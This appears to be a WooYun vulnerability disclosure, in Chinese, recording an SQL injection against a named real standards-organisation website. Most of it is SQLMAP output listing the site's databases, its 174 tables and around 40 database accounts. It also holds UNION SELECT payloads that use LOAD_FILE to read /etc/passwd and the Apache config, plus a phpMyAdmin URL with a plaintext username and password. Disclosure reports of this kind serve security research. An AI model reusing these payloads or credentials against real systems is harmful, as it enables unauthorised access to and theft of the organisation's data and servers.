WooYun.org

接下来交给SQLMAP
数据库:
```
[*] article
[*] auth
[*] ccsa_access_log
[*] article
[*] auth
[*] ccsa_access_log
[*] ccsadoc [目标站点主库]
[*] client_update
[*] customer
[*] del_mladvert
[*] del_ptpic
[*] del_pw_log
[*] del_style
[*] del_test
[*] del_tmparticle
[*] doc
[*] fileopen
[*] ftpusers [FTP用户]
[*] good_member
[*] gsc15
[*] information_schema
[*] IOofCOM
[*] jiaoliu
[*] log
[*] logs
[*] lost+found
[*] maintain
[*] meeting
[*] ml4ccsa
[*] ml4ptsn
[*] mnogosearch
[*] mysql
[*] phpmyadmin [存在PHPMYADMIN http://www.ptsn.net.cn/phpMyAdmin/]
[*] prod
[*] prodex
[*] questionnaire
[*] sales
[*] shenbao
[*] std
[*] std_temp
[*] stdcd
[*] tc485
[*] test
[*] tlc
[*] tspc
[*] userstd
[*] vpopmail [邮件会员:http://webmail.ccsa.org.cn/]
```
主库里的表:
```
Database: ccsadoc
[174 tables]
+------------------------------+
| annex |
| annex2 |
| arch_group |
| archives |
| awardinfo |
| awardlevel |
| baopi |
| baopi_doc |
| baopi_group |
| baopi_reject_log |
| baopi_state |
| baopi_state_log |
| baopi_to_company |
| bpg_question |
| bpggs |
| bpggs_qs |
| bulletin_t |
| ccs |
| ccs_to_ics |
| ccsa_ieee |
| ccsa_tx |
| cert_apply |
| cert_evalution |
| cert_property |
| cert_std |
| city |
| cjk_account |
| cjk_meeting |
| cjk_meeting_docs |
| conference |
| del_annex2tmp |
| del_arch_annex |
| del_attitude |
| del_ccsastd |
| del_comment |
| del_company |
| del_company_to_meeting |
| del_company_type |
| del_config |
| del_contact |
| del_enews |
| del_expert |
| del_images |
| del_jn_article |
| del_jn_articleold |
| del_jn_author |
| del_jn_column |
| del_jn_journal |
| del_jn_no |
| del_mail_mem |
| del_manager |
| del_meeting_expand |
| del_meeting_receipt_bak |
| del_meeting_report |
| del_mem_groupbak |
| del_member_060315 |
| del_memberbak |
| del_ml_subscriber |
| del_mlist_mem |
| del_mt_delegate |
| del_mt_loginlog |
| del_mt_speaklog |
| del_mt_subject |
| del_mt_unitlist |
| del_news_group |
| del_poll |
| del_prjgroup |
| del_prjlist |
| del_prjphase |
| del_project20110517 |
| del_project_to_group20110517 |
| del_project_to_major |
| del_project_to_member |
| del_receipt |
| del_receiptold |
| del_searchtable |
| del_specialist_bk |
| del_specialist_grp_bk |
| del_tc_expert |
| del_unit |
| del_vote |
| del_voteinfo |
| del_votelog |
| del_wireless |
| del_workgroup_lkch |
| disclosure_info |
| dload_log |
| doc_type |
| firstlevel_org |
| hytype |
| ics |
| ieee_download_info |
| images |
| increase_mem_group |
| increase_tcwg |
| innerfile |
| joint_type |
| letter_doc |
| letter_group |
| letters |
| license_info |
| lishi_view |
| maillist |
| manage_regulation |
| meeting |
| meeting_captain |
| meeting_doc |
| meeting_email_log |
| meeting_group |
| meeting_member |
| meeting_members |
| meeting_receipt |
| mem_annex |
| mem_chg_info |
| mem_group |
| member |
| member_type |
| member_view |
| mobileTV_docs |
| mobile_member |
| oplog |
| patent |
| patent_general |
| patent_general_to_tc |
| patent_special |
| prj_department |
| prj_field |
| prj_importance |
| prjclass |
| prjclass_to_baopi_state |
| prjcode |
| prjcode1 |
| prjcode2 |
| project |
| project_change_log |
| project_digest |
| project_old |
| project_plan |
| project_role |
| project_to_company |
| project_to_contact |
| project_to_group |
| project_to_std |
| province |
| qykind |
| recorder |
| ref_type |
| small_com_app |
| specialist |
| specialist_grp |
| specialistgrp |
| std_level |
| std_type |
| submit_baopi |
| suggest |
| suggest_item |
| tc |
| tc11_chg_log |
| tmpmem_annex |
| tmpmem_group |
| tmpmember |
| user_t |
| wengao |
| wg_suggest |
| workfile |
| workgroup |
| worknews |
| worknews_to_tc |
| wx_access_token |
| wx_user |
| zdxm |
| zuc_request |
| zxzz_tmp |
| zxzz_view |
+------------------------------+
```
DB帐号:
```
[*] 'auth_rd'@'localhost'
[*] 'auth_rw'@'localhost'
[*] 'backup'@'%'
[*] 'ccsa_rd'@'localhost'
[*] 'ccsa_rw'@'localhost'
[*] 'doc_rd'@'localhost'
[*] 'doc_rw'@'localhost'
[*] 'ftp'@'127.0.0.1'
[*] 'infosrv'@'localhost'
[*] 'log_rd'@'localhost'
[*] 'log_rw'@'localhost'
[*] 'mailuser'@'%'
[*] 'maint_rw'@'localhost'
[*] 'mepadmin'@'localhost'
[*] 'minfosrv'@'localhost'
[*] 'mlog'@'localhost'
[*] 'mproduct'@'localhost'
[*] 'mptpic'@'localhost'
[*] 'mptqc'@'localhost'
[*] 'mptsn_auth'@'localhost'
[*] 'prod_rd'@'localhost'
[*] 'prod_rw'@'localhost'
[*] 'ptpic'@'localhost'
[*] 'ptpic_rd'@'localhost'
[*] 'ptpic_rw'@'localhost'
[*] 'ptqc'@'localhost'
[*] 'ptqc_rd'@'localhost'
[*] 'ptqc_rw'@'localhost'
[*] 'ptsn_auth'@'localhost'
[*] 'readall'@'localhost'
[*] 'root'@'localhost'
[*] 'shouli'@'localhost'
[*] 'shouli_rd'@'localhost'
[*] 'shouli_rw'@'localhost'
[*] 'std_rd'@'localhost'
[*] 'std_rw'@'localhost'
[*] 'tlcadmin'@'localhost'
[*] 'tlcwebuser'@'localhost'
[*] 'userstd_rw'@'localhost'
[*] 'vpopmail'@'localhost'
```
服务器帐号:
-1 UNION ALL SELECT NULL,NULL,LOAD_FILE('/etc/passwd'),NULL,NULL,NULL,NULL

WEB配置(查看存在的网站)
-1 UNION ALL SELECT NULL,NULL,LOAD_FILE('/etc/httpd/conf/httpd.conf'),NULL,NULL,NULL,NULL

phpMyAdmin
http://www.ptsn.net.cn/phpMyAdmin/
帐号:readall 密码:readall
所有的帐号密码都能在程序配置里读取到,所有子站的信息也能读取到.点到为止,没继续下去了!